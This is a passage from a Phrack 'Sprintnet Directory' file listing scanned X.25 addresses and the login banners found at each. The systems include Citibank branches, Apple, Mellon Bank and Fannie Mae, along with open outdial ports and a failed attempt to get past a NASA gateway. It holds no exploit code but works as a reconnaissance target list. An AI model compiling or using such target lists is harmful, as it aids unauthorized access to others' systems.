223 8201

223 8202 Enter password:

223 8602 Prime PRIMENET 23.2.0.R43 OBSPOM

223 8804 11 ‑ FORMAT ERROR

223 10009 I/P LOGIN CODE

223 10010 I/P LOGIN CODE

223 10015 I/P LOGIN CODE

223 10030 UMP 15, TP (DEV A) >

223 10032 UMP 2, XGATE (NODE 6)

223 10050 I/P LOGIN CODE

Sprintnet Directory Part II

==Phrack Magazine==

Volume Four, Issue Forty‑Two, File 9 of 14

<Sprintnet Directory Part 2>

224 ‑ Citibank Scanneds: various

ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW

‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

224 1 CITIBANK

224 2 VAX/VMS Global Report

224 4 Prime PRIMENET 23.2.0vB PROD‑A

224 5 DECserver

224 6 CITIBANK CANADA‑CB1

224 10 CITIBANK BRASIL

224 11 C/C/M

224 12 Prime PRIMENET 23.2.0vA OZPROD

224 14 C/C/M

224 16 CITIBANK FRANKFURT

224 17 DECserver

224 20 DECserver

224 21

224 22

224 23 CITIBANK N.A. BAHRAIN ‑ BOOK SYSTEM 224 24 NETWORK USER VALIDATION.

224 26

224 27 CITIBANK JOHANNESBURG

224 30 CITIBANK PIRAEUS

224 31 ADAM_COSMOS

224 32 CITIBANK LONDON

224 33 CITIBANK PARIS

224 34 CITIBANK LONDON

224 35 DUBLIN_COSMOS

224 36 CITIBANK ATG ‑ TEST8.2

224 37

224 38 CITIBANK LEWISHAM

224 39 CITIBANK MILAN

224 40

224 41 CITICORP/CITIBANK

224 42 CITICORP/CITIBANK

224 43 VIENNA_COSMOS

224 44 CITIBANK LONDON

224 45 NORDIC_COSMOS

224 46 NORDIC_COSMOS

224 47 Enter Secure Access ID ‑02‑>

224 48 Prime CONNECTED TO 03 35‑50

224 49 CITIBANK FRANKFURT

224 50 CITICORP/CITIBANK

224 51 CITICORP CASH MANAGEMENT SERVICES 224 53 JERSEY_COSMOS

224 55 SIGN‑ON NAO ACEITO

224 56 DECserver

224 57 VAX/VMS

224 61 CITIBANK SYDNEY

224 62 CITIBANK SINGAPORE

224 63 CITIBANK MANILA

224 64 Prime

224 65 CITIBANK SINGAPORE

224 68 DECserver

224 70 London Branch Miniswitch

224 71 CCM ‑ Citi Cash Manager

224 73 DECserver

224 74 CITI CASH MANAGEMENT NETWORK

224 75 IBI MIS Systems

224 76

224 78 CITIBANK HONG KONG

224 79 CITIBANK

224 80 VAX/VMS UNAUTHORIZED ACCESS to this SYSTEM is PROHIBITED 224 81

224 82 Prime PRIMENET 23.2.0vB PROD‑C

224 83 IBM 3708

224 85

224 86 Prime PRIMENET 23.1.0 LATRG1

227 87 DECserver

224 89 Prime PRIMENET 23.1.0 LATRG1

224 91 Prime

224 92 VCP‑1000 Terminal Server (decserver clone) 224 93

224 95 BMS==>

224 98 C/C/M

224 100 Cityswitch

224 104 BMS==>

224 105

224 108

224 110

224 113 Prime PRIMENET 23.1.0 LATRG2

224 122 VAX/VMS? Global Report from Citicorp

224 125 PLEASE ENTER TRANSACTION ID:

224 128 Prime PRIMENET 23.2.0.R43 LATPRI

224 129

224 130 VAX/VMS GLOBAL TREASURY PRODUCTS

224 132 Prime PRIMENET 23.2.0vB PROD‑B

224 135 VAX/VMS CMAPD ‑ SRPC Vax Development System 224 136 VAX/VMS #6Node: NYF050

224 137 HP‑3000

224 138

224 139 VAX/VMS (restricted access system)

224 140 VAX/VMS ""

224 141 :

224 142 C/C/M

224 143 CITI CASH MANAGEMENT NETWORK

224 147 C/C/M

224 148 CITIBANK LONDON

224 149 LISBON_COSMOS

224 150 DEC Welcome to the DEC Gateway

224 153 CITI CASH MANAGEMENT NETWORK

224 155 Prime PRIMENET 23.2.0vB PROD‑B

224 157 DecServer

224 158

224 159 CDS DATA PROCESSING SUPPORT

224 160 (pad?)

224 161 VAX/VMS

224 162 Prime

224 163 Prime

224 164 Prime PRIMENET 22.1.2 WINMIS

224 165 GS/1 LTN>

224 166 VAX/VMS GLOBAL TREASURY PRODUCTS

224 167 VAX/VMS GLOBAL TREASURY PRODUCTS

224 168 VAX/VMS Global Report from Citicorp

224 170 ELECTRONIC CHECK MANAGER ENTER 'ECM' 224 172 CitiMail II ‑ Asia Pacific

224 174 PERSONNEL SERVICES & TECHNOLOGY'S DATA PABX NETWORK 224 175 Enter T or V for TSO or M for VM/CMS. 224 176 DECserver

224 177 VAX/VMS Unauthorized Use Is Prohibited

224 179 <<please enter logon>>

224 180 Citibank N.A. PUERTO RICO

224 193 :

224 194 VOS CitiShare Milwaukee, Wisconsin

224 195 Citimail II

224 196 Xyplex X.25 Terminal Server

224 197 VAX/VMS

224 199

224 200 EMULEX TCP/LAT‑Compatible Terminal Server

224 204

224 205 Prime

224 207 Communications Subsystem For Interconnection 224 210 VOS try "list_users"

224 211 Major‑BBS User‑ID:

224 212 Master Policy Bulletin Board

224 213 %%%

224 214 INDIQUE O TIPO DE TERMINAL

224 216 VAX/VMS *** Unauthorized Access Prohibited *** 224 217 Prime

224 218 DECserver

224 220 CHANNEL 01/049. ENTER CHOICE:

224 221 BUDAPEST_COSMOS (user 63)

224 222

224 223 CITIBANK SINGAPORE

224 227

224 230

224 234 VCP‑1000 (decserver clone)

224 236 CITIBANK LEWISHAM

224 237 DECserver

224 300 $ CitiMail II

224 320 VAX/VMS

224 602 VOS list_users

224 700 $ CitiMail II (Asia Pacific)

224 701 Prime PRIMENET 23.2.0vB DEV‑A

224 704 Prime PRIMENET 23.2.0vB PROD‑C

224 3004 Enter destination : node.port or :SFA 224 3006 Enter destination : node.port or :SFA 224 3010

224 3013 London Branch Miniswitch

224 3014 CONNECTED TO CITIBANK LONDON

224 3016 BMS==>

224 3024 BMS==>

224 3027 Enter destination : node.port or :SFA 224 3032 CITIBANK LONDON

224 3035 EMULEX TCP/LAT‑Compatible Terminal Server

224 3036 EMULEX TCP/LAT‑Compatible Terminal Server

224 3037 $ Citimail II ‑ C.M.E.A

224 3038 $

224 3039 $ Citimvs X.25 Gateway

224 3043 VAX/VMS UNAUTHORIZED ACCESS to this SYSTEM is PROHIBITED 224 3047 Enter destination : node.port or :SFA 224 3058 *

224 3059 *

224 3103 CITIBANK PARIS

224 3116 CITICORP/CITIBANK

224 3117 VAX/VMS UNAUTHORIZED ACCESS TO THIS SYSTEM IS PROHIBITED 224 312 3 *

224 3124 CITIBANK MILAN

224 3127 CITIBANK MILAN

224 3128 *

224 3131 CITIBANK FRANKFURT

224 3133 CITIBANK FRANKFURT

224 3230

224 3231

224 3235 CITICORP/CITIBANK

224 3236 CITICORP/CITIBANK

224 4022

224 8006 Welcome to Citiswitch, HK

224 8008 VAX/VMS GTN gateway/Regional Billing/PCSA/CMG accpt 224 8010

224 8011 Unix INFOBASE2 login:

224 8014 Prime

224 8018 *

224 8022 *

224 8023 *

224 8026

224 8027

224 8030

224 8031

224 8033

224 8034

224 8035

224 8105 ENTER RESOURCE :

224 8106 Global Report from Citicorp

224 8122 CITIBANK TOKYO

224 8210

224 8211 CITIBANK MANILA

224 8410 CITIBANK SYDNEY

224 8412 CITIBANK SYDNEY

224 8414 PLEASE ENTER YOUR ID : ‑1‑>

224 8415 EMULEX TCP/LAT‑Compatible Terminal Server

224 8416 Prime

224 8509 CITIBANK HONGKONG

224 8620

224 8621

224 8622

224 8623

224 8624

224 8625

224 8626

224 8627

224 8629

224 8720 CITIBANK SINGAPORE

224 8722 *

224 8725 $ COSMOS

224 8730 DECserver

224 8731 CITIBANK SINGAPORE

224 9010 Prime

224 9011 VAX/VMS *** Authorized Personnel Only ***

224 9150 CITIBANK HONGKONG

277 ‑ Apple Computer Inc. Scanned: various

ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW

‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

277 125J VAX/VMS YODA *AUTHORIZED USERS ONLY*

277 127 VAX/VMS Apple Canada Inc.

277 128 VAX/VMS For internal use only. CHATTERBOX

277 130J VAX/VMS YODA *AUTHORIZED USERS ONLY*

277 133 ??? Apple Computer, Inc. X.25 PAD to IP/TCP/TELNET

301 ‑ Maryland Scanned: [0 ‑ 2000]

ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW

‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

301 20 MEDLINE

301 21 *

301 26 PRIME DNAMD1 Online

301 33 VOS United Communications Computer Services Group 301 35 User Access Verification Username: 301 37 MEDLINE

301 40 MEDLINE

301 56 U#=

301 46 *

301 54 VAX/VMS 5.2

301 56 U#=

301 77 *

301 78 *

301 100 VOS United Communications Computer Services Group 301 125 VAX/VMS

301 140 MEDLINE

301 150 $ VAX/VMS

301 165 *

301 170 VOS United Communications Computer Services Group 301 253 Prime Primecom Network 19.4Q.111 System 35 301 254 Prime Primecom Network 19.4Q.111 System 59 301 307 Prime ER!

301 310 Prime Primecom Network 19.4Q.106 System 51 301 320 Prime Primecom Network 19.4Q.111 System 53 301 330 Prime Primecom Network 19.4Q.111 System 30 301 331 Prime Primecom Network 19.4Q.111 System 31 301 332 Prime Primecom Network 19.4Q.111 System 32 301 333 Prime Primecom Network 19.4Q.111 System 33 301 335 Prime Primecom Network 19.4Q.111 System 35 301 336 VAX/VMS Welcome to VMS 4.6

301 341 Prime Primecom Network 19.4Q.111 System 41 301 342 Prime Primecom Network 19.4Q.111 System 42 301 343 Prime Primecom Network 19.4Q.111 System 43 301 344 Prime Primecom Network 19.4Q.111 System 44 301 345 Prime Primecom Network 19.4Q.111 System 45 301 346 Prime Primecom Network 19.4Q.111 System 46 301 351 Prime Primecom Network 19.4Q.111 System 95 301 352 Prime Primecom Network 19.4Q.111 System 52 301 353 Prime Primecom Network 19.4Q.111 System 53 301 356 Prime Primecom Network 18.4Y System 56

301 357 Prime Primecom Network 19.4Q.111 System 57 301 358 Prime Primecom Network 19.4Q.111 System 58 301 361 Prime Primecom Network 19.4Q.111 System 31 301 364 Prime Primecom Network 19.4Q.111 System 64 301 390 Prime Primecom Network 19.4Q.111 System 90 301 391 Prime Primecom Network 19.4Q.111 System 91 301 392 Prime Primecom Network 19.4Q.111 System 92 301 393 Prime Primecom Network 19.4Q.111 System 93 301 394 Prime Primecom Network 19.4Q.111 System 30 301 395 Prime Primecom Network 19.4Q.111 System 95 301 396 Prime Primecom Network 19.4Q.111 System 96 301 397 Prime Primecom Network 19.4Q.111 System 97 301 398 Prime Primecom Network 19.4Q.111 System 98 301 441 *

301 442 *

301 443 *

301 444 *

301 447 *

301 448 *

301 449 *

301 450 *

301 455 Unix SysV oldabacis login: (uucp)

301 521 $ NETX A000VD03 READY FOR LOGON

301 530 PLEASE ENTER LOGIN

301 535A

301 546 *

301 548

301 558 *

301 559 *

301 560 *

301 563 $ VM/CMS? INVALID‑SW‑CHARS

301 565 Unix E.T.Net/The National Library of Medicine. 301 1130

301 1131

301 1134 *

301 1136 *

301 1139 8001A69E

301 1142 9769AFC6

301 1153 *

301 1230 You are not authorized to connect to this machine. 301 1241 Fannie Mae

301 1243 USER ID

301 1244 *

301 1245 *

301 1253 *

301 1551 *

301 2040 *

301 2042 *

302 ‑ Delaware Scanned: 0 ‑ 300

ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW

‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

302 41 $ (running same/similar software as tymnet)

303 ‑ Colorado Scanned: 0 ‑ 1000

ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW

‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

303 21 $ outdial (303)

303 33 Password >

303 47 *

303 114 $ outdial (303)

303 115 $ outdial (303)

303 120 Prime PRIMENET 22.1.3.R35 SAMSON

303 140 X29 Password:

303 141 *

303 142 *

303 242 $ VAX/VMS AZTEK Engineering MicroVAX (AZTKD1) 303 268 *

303 330 *

303 333 *

303 338 *

303 561 Prime PRIMENET 22.1.1.R11 SPARKY

303 579 Prime PRIMENET 22.1.3.R35 CAESAR

303 800 *

304 ‑ West Virginia Scanned: [0 ‑ 300]

ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW

‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

304 101 ENTER: ASV2, ASV3 OR MPL780

304 130 ENTER: ASV2, ASV3 OR MPL780

305 ‑ Florida Scanned: 0 ‑ 2000

ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW

‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

305 4 USER ID

305 34 USER ID

305 59 .INVALID COMMAND

305 105 $ outdial (305)

305 106 $ outdial (305)

305 120 $ outdial (305)

305 121 $ outdial (305)

305 122 $ outdial (305)

305 135 *

305 140 .INVALID COMMAND

305 141 Select Desired System:

305 142 USER ID

305 145 USER ID

305 149 hp‑x000 S901.NET.BUC

305 150 *

305 156 USER ID

305 162 WN01000000000000000000000000000

305 170 *

305 171 VM/CMS? ENTER SWITCH CHARACTERS

305 172 WN01000000000000000000000000000

305 175 USER ID

305 177 WN01000000000000000000000000000

305 178 hp‑x000 S901.NET.BUC

305 237 Comcast Information Services

305 241 WN01000000000000000000000000000

305 245 *

305 247

305 250 Unix

305 339 CONNECTED TO PACKET/74

305 347 CONNECTED TO PACKET/74

305 362 CLARIONET Userid : new

305 363 CLARIONET

305 364 CLARIONET

305 365 CLARIONET

305 366 CLARIONET

305 370 $

305 371 VAX/VMS Usuario :

305 372 $ VAX/VMS ORL001

305 471

305 472 $ HP‑3000 MIA.MIA.EI

305 700

305 1036 CONNECTED TO PACKET/74

305 1037 CONNECTED TO PACKET/74

305 1043 Unix

305 1040 USER ID

305 1242 AOS

305 1243 *

305 1244 Prime PRIMENET 22.1.3 DZ‑MIA

309 ‑ Illinois Scanned: [0 ‑ 200]

ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW

‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

309 30 *

312 ‑ Illinois Scanned: [0 ‑ 1500]

ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW

‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

312 34 YOUR ENTRY IS INCORRECT.

312 35 $ TSO

312 37 *

312 40

312 41 YOUR ENTRY IS INCORRECT.

312 45 YOUR ENTRY IS INCORRECT.

312 53 TSO COMMAND UNRECOGNIZED

312 54 TSO

312 59 Id Please:

312 64 $ Purdue Annex (*.cc.purdue.edu)

312 65 $ MSG 1: COMMAND INVALID FROM PHTIB010 312 74 *

312 75 *

312 77 $ USER ID

312 78 $ USER ID

312 121 enter system id ‑‑

312 125 *

312 131 VM/CMS SYSTEMV

312 150 PLEASE ENTER SUBSCRIBERID;PASSWORD

312 159 PLEASE ENTER SUBSCRIBERID;PASSWORD

312 160 USERID:

312 170 $ VAX/VMS This is SKMIC4 ‑ Authorized use only 312 233 USERID:

312 235

312 240 *

312 245 *

312 253 *

312 254 *

312 256 PLEASE LOGIN

312 257 *

312 258 ID:

312 269 CUSTOMER ID:

312 270 CUSTOMER ID:

312 271 CUSTOMER ID:

312 350 *

312 351 TSO

312 354 *

312 378 BAXTER ASAP SYSTEM (LINE EG75)

312 379 TSO

312 398 $ MHP201A ITVI0180 * VERSION 6.0.2 *. 312 400 BAXTER ASAP SYSTEM (LINE EGC7)

312 401 BAXTER ASAP SYSTEM (LINE EG4D)

312 402 BAXTER ASAP SYSTEM (LINE EGC5)

312 403 TSO

312 405 TSO

312 410 $ outdial (312)

312 411 $ outdial (312)

312 451 TSO

312 452 BAXTER ASAP SYSTEM (LINE EGED)

312 475 *

312 476 *

312 477 $ USER ID

312 520 Unix R59X01 login:

312 521 Unix R58X01 login:

312 522 Unix R67X01 login:

312 524 Unix R51X01 login:

312 525 Unix R41X01 login:

312 526 PASSWORD

312 528 PASSWORD

312 530 *

312 531 *

312 532 $ VAX/VMS

312 533 *

312 534 $ (echo)

312 535 $ (echo)

312 536 $ (echo)

312 537 $ (echo)

312 538 $ (echo)

312 585 *

312 587 *

312 588 *

312 589 *

312 655 TSO

312 740 TELENET ASYNC TO 3270 SERVICE

312 762 *

312 763 *

312 764 *

312 765 *

312 766 *

312 767 *

312 768 *

312 769 *

312 770 $ TELENET ASYNC TO 3270 SERVICE

312 772 $ TELENET ASYNC TO 3270 SERVICE AB‑NET 312 1130 Unix R52X01 login:

312 1131 Unix R61X01 login:

312 1132 Unix R63X01 login:

312 1133 Unix R40X01 login:

312 1134 Unix R43X01 login:

312 1135 Unix R46X01 login:

312 1139 Unix R65X01 login:

312 1140 Unix R54X01 login:

312 1141 Unix R71X01 login:

312 1142 Unix R56X01 login:

312 1143 Unix R55X01 login:

312 1144 Unix R48X01 login:

312 1150 Unix R47X01 login:

312 1151 Unix R62X01 login:

312 1152 Unix R45X01 login:

312 1153 Unix R42X01 login:

312 1154 Unix R74X01 login:

312 1155 Unix R60X01 login:

312 1177 *

312 1179 *

312 1232 REQUEST IN VIOLATION OF SYSTEM SECURITY STANDARDS 312 1233 REQUEST IN VIOLATION OF SYSTEM SECURITY STANDARDS 312 1250 YOUR ENTRY IS INCORRECT.

312 1251 YOUR ENTRY IS INCORRECT.

312 1258 Prime PRIMENET 23.2.0.r26 HS6650

312 1259 ENTER ID (Westlaw)

312 1270 *

312 1271 *

312 1272 *

312 1275 *

312 1301 MHP201A A00B1001 * VERSION 5.5.3 *.

312 1302 MHP201A A00B1101 * VERSION 5.5.3 *.

312 1303 MHP201A A00B1101 * VERSION 5.5.3 *.

312 1304 MHP201A A00B1101 * VERSION 5.5.3 *.

312 1305 MHP201A A00B1101 * VERSION 5.5.3 *.

312 1306 MHP201A A00B1101 * VERSION 5.5.3 *.

312 1307 MHP201A A00B1101 * VERSION 5.5.3 *.

312 1308 MHP201A A00B1101 * VERSION 5.5.3 *.

312 1309 MHP201A A00B1101 * VERSION 5.5.3 *.

312 1310 MHP201A A00B1101 * VERSION 5.5.3 *.

312 1311 MHP201A A00B1101 * VERSION 5.5.3 *.

312 1340 *

312 1341 ENTER ID (Westlaw)

312 1534 *

312 1535 *

313 ‑ Michigan Scanned: [0 ‑ 2000]

ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW

‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

313 24 $ outdial (313)

313 40 Autonet Line 3130095084

313 41 Autonet Line 3130095084

313 62 Merit:X.25 Gateway

313 75 *

313 82 Enter "CMS userid", "TSO userid ", "SIMVTAM termid" 312 219 enter system id ‑‑

313 101 $ outdial (313)

313 111 $ outdial (313)

313 140 $ USER ID

313 144 $ DTC DTCHQ02.WD.WD

313 145 Please enter your Access Code ?

313 146 Please enter your Access Code ?

313 148 PLEASE ENTER SUBSCRIBERID;PASSWORD

313 152 Unix/SunOS SPRINT.COM SunLink X.29 service

313 153 MHP1201I TERMINAL CONNECTED TO PACKET/74 313 160 PASSWORD (this will hang you up)

313 164 VU/TEXT

313 165 *

313 171 U#=

313 173 VAX/VMS IPP VAX/VMS V5.4‑3 SYSTEM VIP012

313 202 Merit:X.25 Gateway

313 214 $ outdial (313)

313 216 $ outdial (313)

313 239 Unix Valenite

313 250 HP‑3000

313 330 $ Unix Domino's Pizza Distribution Corp

313 350 *

313 351 *

313 352 *

313 353 *

313 354 *

313 355 *

313 365 Unix/SunOS This is our latest and greatest X.29 service 313 705 OS4000 5.5 Logging in user

313 800 Prime PRIMENET 22.1.4.R39v D1D2

313 1020 USER ID

313 1021 USER ID

313 1032 *

313 1162 Unix R44X01 login:

313 1163 Unix R69X01 login:

313 1164 Unix R50X01 login:

313 1165 Unix R57X01 login:

313 1166 Unix R64X01 login:

313 1167 Unix R66X01 login:

313 1169 Unix R70X01 login:

313 1170 Unix R73X01 login:

313 1171 Unix R75X01 login:

313 1172 Unix R72X01 login:

313 1174 Unix R77X01 login:

313 1175 Unix/SysV (jupiter)

313 1176 Unix aries login:

313 1177 Unix hermes login:

314 ‑ Missouri Scanned: [0 ‑ 300]

ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW

‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

314 139 *

314 143 $ ??? Please log in (or type "/DOC/DEMO").

314 260

315 ‑ New York Scanned: [0 ‑ 300]

ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW

‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

315 20 (echo)

315 32 $ COMMAND UNRECOGNIZED

315 50 $ SIM3278

315 135 (echo)

315 136 (echo)

315 137 $ GTE CAMILLUS NY

315 138 CONNECTED TO PACKET/94

315 145 VAX/VMS Username:

315 149 $ GTE CAMILLUS NY

315 150 GTE CAMILLUS NY

315 151 GTE CAMILLUS NY

315 152 (echo)

315 162 CONNECTED TO PACKET/400

315 172 *

315 231

317 ‑ Indiana Scanned: [0 ‑ 300]

ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW

‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

317 55 $ outdial (317)

317 113 $ outdial (317)

317 114 $ outdial (317)

317 127 VTAM/M02

317 134 $ Prime PRIMENET 22.0.4.R8 PENTEK

317 136 *

317 140 VAX/VMS

317 142 *

317 143 $ (hangs up)

317 145 Prime PRIMENET 22.1.3 ARVN01

317 148 USER ID

317 154 VAX/VMS

317 157 *

317 159 *

317 164 $ (hangs up)

317 174

317 235 $ CONNECTED TO PACKET/74

317 251 CONNECTED TO PACKET/400

317 253 *

317 255

317 260 Unix SIL_CHI

317 299 ASYNC to whatever ‑‑ (try logical unit=9) 317 335 VAX/VMS

317 336 *

321 ‑ SPAN/NASA Scanned: [N/A]

ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW

‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

321 Note: Access to SPAN now passes through a network validation gateway. I was unable to get passed this, and unable to scan this prefix. Here is the friendly message you get on attempts:

Entering the NASA Packet Switching System (NPSS) Please Report Service Access Problems To (205) 544‑1771

<insert large warning banner>

USERID>

PASSWORD>

SERVICE>

401 ‑ Rhode Island Scanned: [0 ‑ 300]

ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW

‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

401 50 *

401 230 *

402 ‑ Nebraska Scanned: [0 ‑ 300]

ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW

‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

402 47

402 57 Unix NCR 386/486 System name: tower12

402 131 *

402 231 *

404 ‑ Georgia Scanned: [0‑700]

ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW

‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

404 55 *

404 57

404 59

404 70

404 77

404 79

404 143

404 171

404 235.1 Port Selec The Journal Of Commerce

404 235.2 VAX/VMS Nedlloyd Lines Region Management North America 404 244

404 247

404 250.1 CUSTOMER ID:

404 250.2 (garbage)

404 251.1 CUSTOMER ID:

404 252.1 CUSTOMER ID:

404 262.2 TACL 1>

404 263.2 TACL 1>

404 264.2 TACL 1>

404 265.2 TACL 1>

404 266.2 TACL 1>

404 349 Prime PRIMENET 22.1.3 EHPATL

404 358

404 359

404 372 VOS

404 373 VOS

404 374 *

404 560 VAX/VMS

404 633 VAX/VMS

404 635 VAX/VMS

405 ‑ Oklahoma Scanned: [0 ‑ 300]

ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW

‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

405 45 ENTER SESSION ESTABLISHMENT REQUEST :

405 46 TACL 1>

405 130 *

405 242 VAX/VMS

405 245 *

405 246

405 248 *

405 249 *

408 ‑ California Scanned: [0 ‑ 1500]

ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW

‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

408 21 $ outdial (408)

408 31 *

408 45 $ HP‑3000 SPECTRA‑PHYSICS LASERS

408 49 *

408 61

408 77 $ USER ID

408 110 $ outdial (408)

408 111 $ outdial (408)

408 121 HP‑3000 SAGAN.HP.COM

408 127 Unix

408 133 $ (echo)

408 159 $ VAX/VMS

408 177 *

408 235 AOS GLOBAL WEATHER MV3

408 238 Unix

408 260 *

408 261 *

408 264 Portal Communications Company. NEW/INFO/HELP 408 267 *

408 268 *

408 271

408 273

408 335 VAX/VMS CONNECTING TO NODE: LTCTST

408 342 $ Unix/SunOS (OSI)

408 343 $ VTAM Amdahl Corporate Computer Network

408 344 $ VAX/VMS ANDO running VMS V5.4‑2

408 346 Unix IGC Networks login:new password:<cr> 408 352 $ VTAM Amdahl Corporate Computer Network

408 356 *

408 357 *

408 378 Unix X.25 PAD (pad echo)

408 450 Unix HP‑UX moe

408 444 $ HP‑3000 Finnigan Corporation

408 445 $ VAX/VMS GEC PLESSEY Semiconductors

408 449 VAX/VMS Friden Neopost (Node: PRDSYS)

408 450 Unix HP‑UX moe

408 456 *

408 530 *

408 531 *

408 532 *

408 534 $ DTC DTC02.DOMAIN.ORGANIZATION

408 539 User Access Verification Password:

408 1050

408 1046 *

408 1050

408 1051

408 1052

408 1053

408 1054 Port Selec First Image

408 1055

408 1060 $ REQUESTED APPLICATION NOT DEFINED

408 1061 $ REQUESTED APPLICATION NOT DEFINED

408 1062 $ REQUESTED APPLICATION NOT DEFINED

408 1063 $ REQUESTED APPLICATION NOT DEFINED

408 1064 $ REQUESTED APPLICATION NOT DEFINED

408 1065 $ REQUESTED APPLICATION NOT DEFINED

408 1066 $ REQUESTED APPLICATION NOT DEFINED

408 1067 $ REQUESTED APPLICATION NOT DEFINED

408 1068 $ REQUESTED APPLICATION NOT DEFINED

408 1069 $ REQUESTED APPLICATION NOT DEFINED

408 1071 $ (echo)

408 1072 $ (echo)

408 1076 $ (echo)

408 1230 $ (echo)

408 1231 $ (echo)

408 1234 $ (echo)

408 1235 $ (echo)

408 1238 *

408 1240 $ (hangs up)

408 1350 VAX/VMS

410 ‑ RCA? MCI? Scanned: [0‑300+]

ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW

‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

410 0 MCI YR ID?

412 ‑ Pennsylvania Scanned: [0 ‑ 1000]

ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW

‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

412 30 USER ID

412 33 VAX/VMS Lender's Service, Inc. Computer System 412 34 $ ACF/VTAM Lord Corp IBM Network

412 51 *** ENTER LOGON

412 52 *** ENTER LOGON

412 55 COMMAND UNRECOGNIZED

412 60 PC2LAN Connected to Router Pit

412 61 %@CVTTAUD@dUYECVGUIiED

412 63 %@CVTTAUD@dUYECVGUIiED

412 67 SIM3278 Mellon Bank

412 70 *

412 78 #

412 79 #

412 130

412 153 *** ENTER LOGON

412 201 $ outdial (412)

412 202 $ outdial (412)

412 230 VAX/VMS You are connected to a private system. 412 231 $ Prime PRIMENET 22.1.3.r13 MECO

412 335 *

412 336 Renex Connect, SN‑00300371

412 340 SIM3278 Mellon Bank

412 342 COMMAND UNRECOGNIZED FOR T11310T0

412 349 *** ENTER LOGON

412 352 *** ENTER LOGON

412 440 Unix/SysV X.29 Terminal Service (dxi‑m1)

412 708 Unix/SysV X.29 Terminal Service (dxi‑m1)

414 ‑ Wisconsin Scanned: [0 ‑ 300]

